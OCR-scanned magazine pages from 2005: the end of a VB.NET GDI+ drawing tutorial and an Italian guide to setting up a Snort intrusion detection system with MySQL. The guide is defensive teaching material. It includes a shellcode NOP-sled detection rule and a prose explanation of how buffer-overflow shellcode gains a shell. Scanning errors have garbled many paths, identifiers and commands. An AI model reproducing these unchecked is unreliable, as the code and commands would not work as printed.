< 


i 





Dim OggettoPen = New Pen(Color.Red) 

'Crea i vertici che definiscono il poligono. 

Dim Verticel As New Point(60, 0) 

Dim Vertice2 As New Point(10, 50) 

Dim Vertice3 As New Point(10, 100) 

Dim Vertice4 As New Point(110, 100) 

Dim Vertice5 As New Point(110, 50) 

'definisce la matrice di punti 

Dim MatriceDiPunti As Point() = {Verticel, Vertice2, 

Vertice3, Vertice4, Vertice5} 
'disegna il pentagono 
OggettoGrafico. DrawPolygon(OggettoPen, MatriceDiPunti) 



DISEGNARE ELLISSI 
ED ARCHI 

Per disegnare un'ellisse si deve definire il rettangolo 
che la contiene e passarlo al metodo DmwEllipse. 
Sono disponibili quattro versioni di overload di 
DmwEllipse, ma ogni versione richiede le stesse in- 
formazioni: la penna utilizzata per disegnare l'ellissi 
ed il rettangolo di delimitazione specificato da una 
coppia di coordinate, un'altezza ed una larghezza. 
Le differenze sono nel modo in cui viene specificato 
il rettangolo di delimitazione, come quattro valori 
Integer o Single oppure come due strutture Rectangle 
o RectangleF. Per disegnare, ad esempio, un'ellissi di 
colore rosso inscritta nel rettangolo che abbia: l'an- 
golo superiore sinistro in corrispondenza dell'ango- 
lo superiore sinistro della form, una larghezza di 
cento pixel ed un'altezza di settanta pixel, si può 
scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 
Dim OggettoPen = New Pen(Color.Red) 
OggettoGrafico. DrawEllipse(OggettoPen, 1, 1, 100, 70) 
OggettoGrafico. Dispose() 











Bl Esempi GDI+ 


Q0( 






Esempio 1 
Esempio 2 






Esempio 5 


Esempio 6 


' 


' 



Fig. 4: In figura il disegno del pentagono 



Fig. 5: In figura il disegno dell'ellissi 

Naturalmente se il rettangolo ha le dimensioni che 
corrispondono ad un quadrato, analogamente l'el- 
lissi diventa un cerchio. Per disegnare un arco si 
deve utilizzare il metodo DrawArc, fornendo tutti 
dati necessari a tracciare un ellissi intera con in più 
due argomenti: l'angolo di partenza e l'ampiezza, 
entrambi espressi in gradi. L'angolo di partenza vie- 



Visual Basic .NET 



T CORSI BASE 



ne misurato in senso orario partendo dall'asse X. 
Anche l'ampiezza è misurata in senso orario. Ad 
esempio, per disegnare l'arco corrispondente alla 
metà inferiore di una circonferenza con centro nel 
punto (50,50) possiamo scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 
Dim OggettoPen = New Pen(Color.Green) 
OggettoGrafico. DrawArc(OggettoPen, 1, 1, 100, 100, 

0, 180) 
OggettoGrafico. Dispose() 




Esempio 1 Esempio 5 

Esempio 2 Esempio 6 



Fig. 7: In figura il disegno dell'ellissi bicolore 



DISEGNARE FORME 
PIENE 

L'oggetto Graphics espone otto metodi che permet- 
tono il disegno di figure geometriche piene. Per ogni 
metodo sono disponibili numerose forme sintatti- 
che (overloading), ma tutte accettano come primo 
argomento un oggetto Brush che determina le mo- 
dalità di riempimento della forma. Le modalità di 
riempimento sono diverse (solido, retinato, trama) e 
saranno descritte in dettaglio, insieme all'oggetto 
Brush, nel prossimo articolo, per il momento utiliz- 
ziamo il colore solido. Se, ad esempio, vogliamo di- 
segnare un rettangolo colorato di rosso ed un'ellissi 
colorata di giallo, possiamo utilizzare i metodi Fill- 
Rectangle e FillEllipse scrivendo: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 
OggettoGrafico. FillRectangle(Brushes. Red, 1, 1, 100, 50) 
OggettoGrafico. FillEllipse(Brushes.Yellow, 100, 1, 

100, 50) 
OggettoGrafico. Dispose() 



Per colorare un poligono di qualsiasi forma definito 
da una matrice di coordinate, si deve utilizzare il 
metodo FillPolygon che, a differenza di DrawPoly- 
gon, ammette un argomento aggiuntivo facoltativo 
che permette di specificare le modalità di riempi- 
mento per le aree che si intersecano: modalità alter- 
nata (predefinito) o modalità a spirale. Per colorare 
di celeste acqua marina, il pentagono disegnato in 
precedenza si può scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 

Dim Verticel As New Point(60, 0) 

Dim Vertice2 As New Point(10, 50) 

Dim Vertice3 As New Point(10, 100) 

Dim Vertice4 As New Point(110, 100) 

Dim Vertice5 As New Point(110, 50) 

Dim MatriceDiPunti As Point() = {Verticel, Vertice2, 

Vertice3, Vertice4, Vertice5} 
OggettoGrafico. FillPolygon(Brushes.Aquamarine, 

MatriceDiPunti) 



Esempio 1 Esempio 5 

Esempio 2 



Esempio 6 




Fìg. 6: In figura il disegno del rettangolo e dell'ellissi 

Per disegnare la metà inferiore di un'ellisse in verde 
e la metà superiore in rosso, possiamo utilizzare il 
metodo FillPie e scrivere: 

Dim OggettoGrafico As Graphics = Me.CreateGraphics 
OggettoGrafico. FillPie(Brushes. Green, 1, 1, 100, 50, 

0, 180) 
OggettoGrafico. FillPie(Brushes. Red, 1, 1, 100, 50, 

180, 180) 
OggettoGrafico. Dispose() 



Fig. 8: In figura il disegno del pentagono colorato 



CONCLUSIONI 

Con questo articolo abbiamo dato uno sguardo alle 
potenzialità offerte dalla tecnologia GDI+ che rap- 
presenta un'implementazione avanzata dell'inter- 
faccia di progettazione grafica (GDI) di Windows. 
Nel prossimo articolo vedremo come modificare le 
impostazioni predefinite dell'oggetto Graphics, per 
cambiare il sistema di coordinate, ed affronteremo 
la gestione delle immagini 

Luigi Buono 



ELENCO 
DEI METODI 
ESPOSTI 
DALLA CLASSE 
GRAPHICS 
Metodi che permettono 
il disegno di figure 



DrawArc, DrawBezier, 
DrawBezìers, 
DrawClosedCurve, 
DrawCurve, 
DrawEllipse, DrawLine, 
DrawLines, DrawPath, 
DrawPie, DrawPolygon, 
DrawRectangle, 
DrawRectangles 

Metodi che permettono 
il disegno di figure 
piene 

FHICIosedCurve, 
FillEllipse, FilIPath, 
FillPie, FillPolygon, 
FHIRectangle, 
FilIRectangles, 
FilIRegion 

Metodi che permettono 
il disegno immagini 

Drawlmage, 
DrawlmageUnscaled, 
Drawlcon, 
DrawIconUnstretched 




SOFTWARE T 



I 



Un NIDS Open Source con Snort 




Network Intrusion 
Detection con Snort 

Installare, configurare e utilizzare un sistema completo per 
la rilevazione e l'analisi delle intrusioni in reti TCP/IP, composto 
da Snort e MySQL e capace di elaborare statistica 




in 




REQUISITI 



Conoscenze richieste 



Protocollo TCP/IP 
(approfondita), MySQL 
(base), Apache! (base 
/opzionale) 



, Distribuzione 

' GNU/Linux, Database 
MySQL e Web Server 
Apache2 (opzionale) 



i^i i::-------tj r^a IìS=] i^a 



Tempo di realizzazione 



NIDS è un acronimo che sta per "Network 
Intrusion Detection System", più o meno 
bene tradotto in "Sistema per la Rilevazione 
delle Intrusioni di Rete". Un NIDS monitora la rete 
(TCP/IP) alla ricerca di traffico ostile o comunque 
indesiderato. I NIDS sono i complementari logici 
degli HIDS, cioè gli "Host Intrusion Detection 
Systems" che invece monitorano il singolo host alla 
ricerca delle evidenze di un' avvenuta intrusione e 
manomissione attraverso il controllo di un databa- 
se di hashes dei più importanti file di sistema. In 
pratica se lo hash di un file, che non dovrebbe mai 
essere modificato (Ibinlbash, Ibinlps e molti altri), 
non corrisponde più al valore conservato nel data- 
base, è sicuro che tale file è stato alterato. Esempi di 
HIDS sono Tripwire e AIDE. La presenza dei primi 
non toglie la necessità di usare anche i secondi. 
Infatti è buona consuetudine implementarli 
entrambi ma, poiché questo articolo si focalizza 
solo sui NIDS e non essendoci inoltre alcuna rela- 
zione operativa tra le due famiglie di sistemi, noi ci 
occuperemo solo della prima. L'obiettivo di questa 
trattazione è di mostrare come installare, configura- 
re ed utilizzare un sistema di rilevazione e analisi 
delle intrusioni (e dei tentativi di intrusione) com- 
posto da Snort, Oinkmaster e MySQL su un sistema 
GNU/Linux. Di default il sistema registra i messaggi 
in formato testo nella directory Ivarllogl snort però si 
consiglia di fare alimentare un database MySQL per 
un più efficiente recupero e analisi. Opzionalmente 
e ad integrazione si installerà anche un sottosistema 
per la visualizzazione grafica e l'analisi dei logs 
composto primariamente da Apache2, PHP e Acid 
oltre che da poche altre librerie. Le tecniche qui uti- 
lizzate sono implementabili, con le necessarie 
modifiche, anche sugli altri sistemi operativi che 
supportano i suddetti strumenti. In ogni caso le reti 
miste ad esempio Linux, MS-Win e Mac possono 
usufruire automaticamente delle rilevazioni opera- 
te attraverso il sensore attivato sulla Linux box, 
anche per quanto riguarda attacchi specifici rivolti 
alle due ultime architetture, purché siano collegate 



sullo stesso segmento di rete Ethernet. 



SNORT 

Snort è un NIDS inizialmente sviluppato da Marty 
Roesch e rilasciato open source con licenza GPL. Si 
tratta di un progetto molto maturo e affidabile, rite- 
nuto per qualità pari se non superiore ai suoi con- 
correnti commerciali blasonati e tra l'altro molto 
costosi. Snort è capace di effettuare l'analisi del traf- 
fico di reti IP in real-time e il logging dei pacchetti, 
l'analisi del protocollo e il confronto (matching) dei 
contenuti per scoprire un'ampia varietà di attacchi 
e probes, come buffer overflows, port scans, OS fin- 
gerprinting e molto altro. Snort usa un proprio lin- 
guaggio per la definizione di regole per descrivere il 
traffico che deve essere rilevato o ignorato. Il moto- 
re per la rilevazione utilizza una sofisticata architet- 
tura a plugins in modo che l'utente possa attivare 
solo i preprocessors che gli sono necessari renden- 
do così il sistema molto leggero e flessibile. Può ope- 
rare su diversi sistemi operativi tra i quali Linux e 
Win32 e su macchine anche molto vecchie e con 
poche risorse. La valutazione della potenza di calco- 
lo necessaria e della RAM va fatta in funzione del 
traffico da analizzare ed è un procedimento abba- 
stanza empirico, comunque per una LAN casalinga 
composta da tre hosts consiglio un Pentiumll 450 
MHz con 128 MB di memoria centrale sul quale 
girerà una installazione leggera di GNU /Linux con 
attivato il firewall IptablesINetfllter, Snort e MySQL. 
Come già accennato, Snort osserva il traffico da una 
interfaccia di rete posta in "promiscuous mode" 
comparandolo a regole che descrivono le firme di 
attacchi noti e produce delle segnalazioni sotto 
forma di logs nella directory Ivarllog /snort e può 
anche incrementare un database MySQL consen- 
tendo quindi una successiva analisi di quanto 
segnalato. Lo scopo principale di mettere in esecu- 
zione un NIDS come Snort è quello di effettuare il 
log degli attacchi e di altro traffico indesiderato 




». 98 /Dicembre 2005 




Un NIDS Open Source con Snort 



I 



T SOFTWARE 




(anche dalla LAN verso Internet) che sarà poi ana- 
lizzato a posteriori per prendere decisioni sulla con- 
figurazione del firewall oppure raccogliere le prove 
di un reato informatico (forensics). Snort è in grado 
di prevenire il reale compiersi dell'attacco, riuscen- 
do a segnalare anche i primissimi tentativi di otte- 
nere informazioni dalla rete ad esempio con l'uso di 
nmap, nessus e similari port-scanners e vulnerabi- 
lity-scanners da parte dell'attaccante. Esiste anche 
la possibilità di modificare al volo le regole del 
firewall tramite uno script che leggendo i logs di 
Snort applichi le regole per bloccare un certo tipo di 
traffico da e verso uno specifico indirizzo. A questo 
proposito è interessante una funzionalità integrata 
(inline mode) che consente al NIDS di operare delle 
scelte su traffico che gli viene re-diretto in user- 
space dal Netfilter llptables, il firewall embedded nel 
Linux kernel. Purtroppo la suddetta possibilità può 
rivelarsi più dannosa che utile per il povero ammi- 
nistratore di sistema. Si pensi anche solo alla possi- 
bilità che ha un attaccante di forgiare un qualsiasi IP 
address e quindi fare in modo che il firewall si con- 
figuri automaticamente per rifiutare il traffico dai 
vostri partners, fornitori, clienti, google, yahoo. 
Ancora peggio l'attaccante può forgiare l'indirizzo 
del vostro router di connessione ad Internet o del 
DNS di riferimento bloccandovi del tutto. A quel 
punto sarete sommersi dalle telefonate degli utenti 
della vostra rete che vi chiedono più o meno gentil- 
mente di lasciarli lavorare e sarete costretti a disabi- 
litare questa opzione. Su Internet si trova un inte- 
ressante documento che analizza in dettaglio questi 
e altri potenziali inconvenienti {http\ll online. securi- 
tyfocus.com/infocus 11540). 



ARCHITETTURA 

Snort è stato pensato per essere estremamente ef- 
ficiente e leggero nell'uso delle risorse di sistema. 
Quindi gli autori hanno preferito costruirlo secondo 
un'architettura a plugins che consentisse di far fun- 
zionare solo ciò che serve. I due tipi di plugins di- 
sponibili in Snort sono i "Detection Plugins" e i "Pre- 
processors". L'utente avanzato è libero di introdurre i 
suoi propri plugins attraverso una funzionale inter- 
faccia. I Detection Plugins controllano i pacchetti 
uno per volta alla ricerca di valori definiti attraverso 
regole per determinare se i dati di questi pacchetti 
soddisfano determinati criteri. Ad esempio esiste 
un plugin per il matching dei flags tcp del pacchet- 
to con le combinazioni descritte da una o più speci- 
fiche regole che in caso di corrispondenza sono 
configurate per emettere un alert oppure per lascia- 
re passare il pacchetto ignorandolo. I Detection 
Plugins possono essere anche chiamati più volte 
alla ricerca di differenti argomenti sullo stesso pac- 
chetto. I preprocessors, che invece sono invocati una 



sola volta sullo stesso traffico, eseguono operazioni 
molto complesse come la deframmentazione IP la 
ricostruzione degli streams TCP e molte altre opera- 
zioni ancora. Possono manipolare i pacchetti e in- 
vocare direttamente il Detection Engine con i dati da 
essi stessi modificati. I plugins che si intende usare 
vanno indicati nel file di configurazione globale lete 
/snort /snort xonf I preprocessors vanno configurati 
con la direttiva "preprocessor <nome_preproces- 
sore>:<opzioni>". Consiglio di leggere attentamente 
i commenti alle opzioni presenti all'interno del file. 
In ogni caso consiglio a tutti le seguenti direttive, 
mentre le altre vanno valutate caso per caso con at- 
tenzione (ulteriori informazioni sulla configurazio- 
ne sono più avanti in articolo): 

preprocessor flow: statsjnterval hash 2 
preprocessor frag3_global: max_frags 65536 

preallocjtags 262144 
preprocessor frag3_engine: policy linux 

detect_anomalies 
preprocessor stream4: disable_evasion_alerts 

detect_scans 
preprocessor stream4_reassemble 
preprocessor sfportscan: proto { ali } memeap { 

10000000 } sensejevel { medium } 
include /etc/snort/rules/classification.config 

(controllare il path) 
include /etc/snort/rules/reference.config 

(controllare il path) 
config flowbits_size: 256 

Ponete anche la massima attenzione ad includere 
(direttiva "include') tutti e solo i files *.rules signifi- 
cativi per vostro sistema. Torneremo più avanti in 
articolo a discutere di I etcì snortl snort .confe utiliz- 
zeremo quanto spiegato in questa sezione quando 
si renderà necessario modificare i contenuti del 
suddetto file per procedere con l'installazione del 
sistema. 



REGOLE E TRAFFICO 
INDESIDERATO 

Snort usa un linguaggio semplice e flessibile per la 
definizione delle regole che trovate nei diversi files 
*.rules o che potete scrivere voi stessi ed inserire nel 
file local.rules. Spesso sono così brevi da potere 
rientrare in una singola riga altrimenti si possono 
dividere su più linee con l'uso di "\" (backslash). Le 
regole sono suddivise in due sezioni logiche, lo 
"header" e le "options". Lo header contiene l'azione 
da intraprendere in caso di matching, il protocollo, 
gli indirizzi IP e le porte sorgente e destinazione. La 
sezione options contiene i messaggi di alert e defini- 
sce quali parti del pacchetto Snort deve ispezionare 
e su quali dati tentare di trovare la corrispondenza 





I TUOI APPUNTI 




SOFTWARE T 



I 



Un NIDS Open Source con Snort 





SOFTWARE DA 
INSTALLARE 

• snort (necessario) 

www.snort.orq 

• oinkmaster (necessa- 

rio) 
oinkmaster.sourceforqe.net 

• mysql (fortemente 

consigliato) 
www.mvsql.com 

• apache (opzionale) 

www.apache.org 

• php4 (opzionale) 

www.php.net 

• mod php (opzionale) 

www.php.net 

• acid (opzionale) 

acidlab.sourceforge.net 

• adodb (opzionale) 
adodb.sourceforge.net 
• jpgraph (opzionale) 
www.aditus.nu/jpgraph 

/index.php 

• libnet (solo per 

snort inline) 

www.packetfactory.net 

/project/libnet 

È molto probabile che i 
suddetti programmi 
siano già presenti 
all'interno del vostro 
sistema GNU/Linux, al- 
trimenti sono libera- 
mente scaricabili dagli 
indirizzi elencati. 



(matching). Tutti e solo gli elementi che compongo- 
no la regola devono risultare "true" (si applica un 
AND logico) affinché l'azione indicata da questa sia 
intrapresa. Ovviamente tutte le regole nel loro insie- 
me sono da considerarsi in OR logico ciascuna 
rispetto a tutte le altre. Supponiamo di volere sape- 
re se un utente della nostra rete perde tempo navi- 
gando su certi siti a noi non graditi e quindi ad 
esempio scegliamo "cioccolato" come parola chiave 
da controllare se presente nel traffico che Snort esa- 
minerà. All'interno della directory letclsnortlrules 
editiamo il file local.ru.les, che è sempre vuoto in 
attesa che l'utente inserisca le sue specifiche regole 
che non saranno mai sovrapposte da qualsiasi futu- 
ro aggiornamento tramite oinkmaster. La regola per 
il matching di pacchetti TCP provenienti e destinati 
ad una qualsiasi porta 80 esterna e contenenti 
testo "cioccolato" e che produrra un avviso in 
Ivarllog /snort è la seguente: 

alert tcp any any <> any 80 (msg: "attenzione: 

golosi!"; content: "gelato";) 

La sintassi è molto semplice, "alert" è l'azione da 
intraprendere in caso di matching della regola con 
un qualsiasi pacchetto; altre possibili azioni sono 
log, pass, activate, dynamic, drop, reject e sdrop (le 
ulime tre hanno senso solo con il mode snort inli- 
ne), "tcp" è il protocollo; al momento si possono 
indicare i protocolli IP, ICMP TCP e UDP anche se è 
previsto che in futuro si introdurranno anche RIP 
OSPF, ARP e diversi altri ancora. Segue l'IP address e 
service port sorgente. Poi simbolo "<>" che indica 
che il traffico va verificato in ambo le direzioni. Se si 
fosse voluto controllare solo una direzione, si sareb- 
be usato il simbolo "->". A chiusura di header si tro- 
vano lo IP address e service port destinazione. La 
sezione "options" della regola è contenuta tra 
parentesi tonde, "msg" descrive il testo che si vuole 
fare precedere al messaggio di alert per una miglio- 
re identificazione, "content" contiene i dati sui quali 
sarà operato il tentativo di matching tra pacchetti e 
regola e costituisce il cuore della stessa. Esaminia- 
mo una regola presa dal file shellocode.rules. Questa 
esamina traffico alla ricerca di una serie di 'a! cor- 
rispondenti all'esadecimale '90' che risulta essere 
l'istruzione NOOP (nessuna operazione) della CPU 
Intel x86. 



fer sullo stack sul quale sarà copiato il payload del 
pacchetto. Purtroppo non c'è lo spazio per 
approfondire i concetti relativi agli shellcode, servi- 
rebbe almeno un intero articolo, ma basti sapere 
che in uno shellcode basilare l'attaccante inietta un 
payload del tipo "90 90 90 90 90 ... 90 <shellcode> 
<RET> <RET> <RET> ... <RET>". Lo shellcode indica- 
to tra parentesi angolari è un programma in 
Assembly che esegue una syscall della famiglia 
"execQ". Per essere iniettato nel buffer e funzionare, 
l'intero programma deve essere tradotto in esadeci- 
male. Semplificandone il funzionamento, lo shell- 
code prima copia i tre argomenti della predetta fun- 
zione nei registri EBX, ECX e EDX e il codice OxOB 
(che corrisponde appunto alla syscall "execQ") nel 
registro EAX; di seguito opera l'istruzione "INT 
$0x80" che trasferisce il controllo al kernel che ese- 
guirà la syscall. <RET>, sempre in esadecimale, è un 
indirizzo, o meglio un offset, che punta ad una delle 
NOP ed è usato per sovrascrivere il naturale indiriz- 
zo di ritorno (return address) del percorso di esecu- 
zione del processo che avrebbe dovuto ritornare 
dalla funzione chiamata alla funzione chiamante o 
main program. Quando la funzione finisce di ese- 
guire e la CPU deve ritornare il controllo alla chia- 
mante, questa va a leggere lo return address sullo 
stack. Essendo questo ormai sovrascritto, la CPU 
continua con l'esecuzione di una delle istruzioni 
NOP di cui sopra. Queste saranno eseguite senza 
nessun problema fino a che il processore leggerà le 
istruzioni che sostituiranno l'immagine di Ibin Ishell 
al processo corrente e l'attaccante si ritroverà con 
una shell in mano con la quale potrà fare tutto ciò 
che vuole, soprattutto se il precedente programma 
operava con i privilegi di root. Senza entrare in 
eccessivi dettagli, le NOP che sono copiate in una 
buona metà del buffer di cui tentare l'overflow, 
prima del vero e proprio shellcode, aumentano le 
probabilità che l'exploit vada a buon fine. Nella 
regola sono interessanti le keywords "sid"e "rev"che 
identificano in modo univoco la regola e le sue 
eventuali revisioni all'interno del database di 
www.snort.org. Il database è liberamente consulta- 
bile e le informazioni sul tipo di attacco si possono 
reperire in modo veloce con un link diretto dall'ana- 
lizzatore Acid durante la navigazione tra i grafici che 
mostrano i messaggi di log registrati da Snort su un 
database MySQL. 



alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> 

$HOME_NET any \ 
(msg:"SHELLCODE x86 NOOP"; content:"|90 90 90 
90 90 90 90 90 90 90 1"; 
classtype:shellcode-detect; sid:1394; rev:5) 

L'attaccante sta tentando di causare e sfruttare un 
buffer overflow in una nostra applicazione che non 
controlla l'esistenza di sufficiente spazio in un buf- 




► 100 /Dicembre 2005 



DEPLOYMEMT 

La prima cosa da considerare è la scelta della mi- 
gliore posizione per il sensore del NIDS. Il sensore 
altro non è che la scheda di rete e la macchina da cui 
ascoltare il traffico passante. Le considerazioni rela- 
tive sono oltre la portata di questa trattazione. 
Alcuni esempi sono la collocazione all'esterno del 




Un NIDS Open Source con Snort 



I 



T SOFTWARE 




firewall, dietro al firewall, nella DMZ, nel network 
interno e ovviamente valgono anche tutte le possi- 
bili combinazioni delle suddette con l'attivazione di 
più sensori operanti simultaneamente. Nel nostro 
esempio collocheremo Snort sulla macchina più 
esterna che è anche quella dove risiede il firewall 
NetFilter/Iptables configurato anche per operare 
come Network Address Translator. Questa macchina 
possiede due interfacce di rete ed è l'unico gateway 
per il forwarding del traffico interno da e verso 
Internet con l'ausilio del NAT (Network Address 
Translator). Questa scelta ci consente di osservare 
sia traffico interno alla rete, che è composta di un 
solo segmento, oltre che tutto quello che raggiunge 
il firewall direttamente da Internet. Questa scelta è 
interessante per parecchi motivi, tra i quali la possi- 
bilità di monitorare i tentativi di attacco a cui è sog- 
getto il sito, anche se questi sono poi comunque 
bloccati dal firewall e non raggiungeranno mai l'in- 
terno della rete. Ovviamente se si configura Snort 
per rilevare il maggior numero di attacchi possibile, 
per qualsiasi sistema operativo e potenziale servizio 
eseguibile sugli stessi, si finirà per ottenere una 
quantità molto elevata di segnalazioni probabil- 
mente non troppo utili. In questo caso si dovrà stare 
attenti a configurare il sistema per rilevare solo una 
minima parte del traffico potenziale e solo quello 
specifico per la nostra architettura. Intendo dire che 
ad esempio in una rete senza MS-Win è inutile 
osservare e registrare gli attacchi alle porte NetBios 
(TCP e UDP/ 137-139), oppure se nella rete non è 
presente un web server probabilmente non saremo 
interessati a monitorare i tentativi di attacco alla 
porta TCP/80. 



INSTALLAZIONE 

Prima di tutto un avvertimento che per molti risul- 
terà scontato: non tutte le distribuzioni Linux usano 
le stesse posizioni sul filesystem per la collocazione 
dei programmi e soprattutto dei files di configura- 
zione, quindi gli indirizzi assoluti che saranno qui 
mostrati devono essere adattati al caso specifico. 
Questa installazione è perfettamente adattata per 
funzionare senza modifiche su sistemi Gentoo, co- 
munque con l'ausilio dei vari 'find' e 'grep' non do- 
vrebbero esserci problemi ad individuare i nomi dei 
file di configurazione e la posizione relativa su qual- 
siasi altra distribuzione. Quando di seguito sarà mo- 
strato un percorso assoluto senza riferimenti ad una 
specifica piattaforma si deve intendere che si riferi- 
sce a Gentoo. Quando possibile saranno date infor- 
mazioni anche su Fedora o sarà indicato un sugge- 
rimento per facilitare la locazione di file o i nomi di 
eseguibili su altre distribuzioni. Si consiglia di utiliz- 
zare i binari precompilati sicuramente per il vostro 
sistema che con buona probabilità sono già instal- 



lati di default sulla macchina, soprattutto se si tratta 
di distribuzioni importanti e diffuse come Fedora, 
Debian, SuSE, perché altrimenti le operazioni di 
compilazione e configurazione possono risultare 
complesse, i tempi allungarsi sensibilmente e si può 
anche avere qualche fastidio con le dipendenze. Su 
Gentoo editiamo il file letclmake.confper assicuraci 
che il software sia compilato con l'attivazione dei 
supporti necessari prima di eseguire "emerge <pac- 
chetto>": 

USE = "mysql apache2 openssl php gd-external jpg 

png gif" 

Sulle altre distribuzioni, se compiliamo con il clas- 
sico ciclo .Iconfigure - moke - moke instali operia- 
mo gli stessi 'enable' sulla riga di comando al 
momento del .Iconfigure di ciascun pacchetto. In 
generale, per i motivi già espressi più sopra, il con- 
siglio è di fare uso degli strumenti embedded per la 
gestione del software ormai presenti su tutte le più 
diffuse distribuzioni. Con Fedora usate l'ottimo 
"yum" e con Debian "apt-get". Preciso che chi non 
ha intenzione di avvalersi dell'analizzatore dei logs 
potrà ovviamente anche ignorare anche tutto 
quanto è connesso con l'installazione, configura- 
zione e l'attivazione di Apache2, PHP, Acid, 
JPGraph e AdoDB. Allo stesso modo non deve crea- 
re il database snort jxrchive e di conseguenza può 
ignorare nel resto dell'articolo qualsiasi comando o 
opzione che abbia a che fare con questo archivio. 
Seguendo quanto qui descritto, anche senza l'uti- 
lizzo dei suddetti tools, si otterrà comunque di 
mettere in piedi un NIDS completamente funzio- 
nante per quanto riguarda le generazione degli 
alerts e la registrazione degli stessi su database, 
quindi si può anche optare per completamento 
dell'intero sistema in un secondo momento. Prima 
di prendere una decisione consiglio di leggere 
comunque i suggerimenti all'inizio della sezione 
"Acid" più avanti in articolo per avere chiaro a quali 
funzionalità si rinuncia. A fine ciclo di configura- 
zione, compilazione e installazione si vorrà attivare 
l'esecuzione automatica dei servizi Snort, Apache2 
e MySQL al boot. Qui le differenze tra le distribu- 
zioni sono marcate ma in genere gli scripts di atti- 
vazione risiedono su letclinit.d e quindi si dovranno 
creare i collegamenti simbolici (symlinks) a questi 
dalle directory che descrivono i runlevels. 
Ad esempio su Gentoo il file letclrunlevelsl default 
/snort è un collegamento simbolico a letclinit.d 
Isnort e l'esistenza dello stesso consente l'attivazio- 
ne del demone, appunto attraverso l'esecuzione di 
letclinit.dlsnort al termine del boot del kernel nel 
runlevel di default (che corrisponde al runlevel 5 di 
altre distribuzioni). Questo collegamento si ottiene 
facilmente su Gentoo con il comando "rc-update" e, 
su Fedora con "chkconfig": 




HONEYNET 
SNORT INLINE 
TOOLKIT 

Questo toolkit è un bi- 
nario precompilato sta- 
ticamente dallo Honey- 
net Project per Linux e 
utilizza lo "inline mo- 
de" di Snort per opera- 
re sul traffico che gli 
viene passato da Netfil- 
ter/lptables tramite le 
librerie libipq e libnet, 
quindi non più dalla 
libpcap come di default, 
snort inline quindi con- 
sente di reagire in tem- 
po reale alla ricognizio- 
ne di traffico pericoloso 
o comunque indesidera- 
to potendo decidere se 
rifiutare, ignorare, mo- 
dificare o lasciare passa- 
re il pacchetto basando- 
si sul set di regole di 
Snort. Il toolkit, che è 
corredato da un ottimo 
README, può essere 
scaricato da: 
http://www.honeynet.Org/t 
ools/index.html . 
Presso lo stesso sito si 
trova anche "SnortCon- 
fig" che è un script in 
Perl sviluppato da Brian 
Caswell. Dotato di nu- 
merose opzioni di con- 
figurazione prende le 
regole correnti di Snort 
e le trasforma per l'uso 
con snort inline (drop, 
sdrop, replace). 



CORSI BASE T 



I 



Un NIDS Open Source con Snort 





# 


rc- 


update 


add snort default 


# 


rc- 


update 


add 


mysql default 


# 


rc- 


update 


add 


apache2 default 



'acid_password'); 



Con un meccanismo un po' più complesso ma simi- 
le su Fedora i symlinks puntano sempre agli scripts 
di letclinit.dl provenendo da varie directories deno- 
minate letclrc.<n>, dove per <n> si intende il runle- 
vel. Ovviamente e per le ragioni già esposte non ci 
addentreremo nella configurazione iniziale di 
MySQL e Apache2. Ci limiteremo invece ad operare 
solo quelle modifiche necessarie al funzionamento 
del nostro sistema, quindi mi aspetto che sappiate 
già come farli funzionare. Ricordo solo che per 
Apache2 dobbiamo editare il file letclconf.dlapache2 
e assicurarci che ci sia una riga che attivi PHP e il 
supporto ad SSL: 

APACHE2_OPTS = "-D PHP4 -D SSL" 

Ricordo ancora che prima di usare MySQL è neces- 
sario eseguire liisrlbinlmysql_install_db. Fatto tutto 
quanto sopra scritto si attivino i servizi MySQL e 
Apache2. 

# /etc/init.d/apache2 start 

# /etc/init.d/mysql start 

Per testare che Apache2 e PHP siano funzionanti 
creiamo un file in Ivarlwwwllocalhostlhtdocs in Gen- 
too, oppure /var/www/html in Fedora, chiamandolo 
"test.php"e all'interno inseriamo solo la seguente ri- 
ga da ricopiare esattamente come è: 

<?php phpinfo()?> 

Da un qualsiasi browser puntiamo su http:lllocal- 
host/test.php e se tutto funziona appare una pagina 
con informazioni su GNU/Linux, Apache e PHP 
A questo punto apriamo un client MySQL per inse- 
rire la password per root e per gli utenti snort e acid, 
creiamo i databases "snortjog" e "snort_archive" e 
infine concediamo dei privilegi ai suddetti utenti. 

# mysql 

> set password for 'root'tgj'localhost' = password( 

'root_password'); 

> create database snortjog; 

> create database snort_archive; 

> grant CREATE, INSERT, SELECT, UPDATE, DELETE 

on snortjog.* to snort@localhost; 

> grant CREATE, INSERT, SELECT, DELETE, UPDATE 

on snortjog.* to acid@localhost; 

> grant CREATE, INSERT, SELECT, DELETE, UPDATE 

on snort_archive.* to acid@localhost; 

> set password for 'snort'@'localhost' = password( 

'snorLpassword'); 

> set password for 'acid'@'localhost' = password( 



> exit 

Inseriamo la struttura database per snortjog e 
snort_archive. D'ora in poi i simboli "<" e ">", quan- 
do presentì all'interno di un comando o opzione, 
serviranno ad indicare che testo incluso deve esse- 
re sostituito a seconda dei casi specifici e che i sim- 
boli stessi vanno eliminati. 

# zcat /usr/share/doc/snort-<versione> 

/schemas/create_mysql.gz | mysql -p snortjog 

# zcat /usr/share/doc/snort-<versione> 
/schemas/create_mysql.gz | mysql -p snort_archive 

Ora configuriamo Snort editando il file letclsnort 
Isnort.conf. Ai fini del semplice funzionamento di 
default del sistema basterebbe modificare le variabi- 
li HOME_NETe EXTERNAL_NET oltre che la diretti- 
va "output database". 

var HOME_NET <retejnterna>/<maschera> 

(esempio: 192.168.1.0/24) 
var EXTERNAL_NET ! $HOME_NET 
output database: alert, mysql, user=snort password= 
<snort_password> dbname=snortJog host=localhost 

Consiglio caldamente di non limitarvi ad inserire 
quanto sopra, invece rispolverare le vostre cono- 
scenze sui temi della sicurezza e del protocollo IP e 
quindi di modificare tutte le righe che ritenete ne- 
cessarie per adattare il comportamento del sistema 
alle reali esigenze delle vostra rete. Nel fare questo vi 
sarà di aiuto lo stesso file di configurazione che è 
molto ben commentato (in Inglese, ovviamente...) e 
spero anche quanto spiegato su Snort nelle prece- 
denti sezioni dell'articolo e soprattutto in "Architet- 
tura". In particolare prestate attenzione ai prepro- 
cessors da usare e soprattutto all'elenco dei files 
contenenti la regole da includere per il matching del 
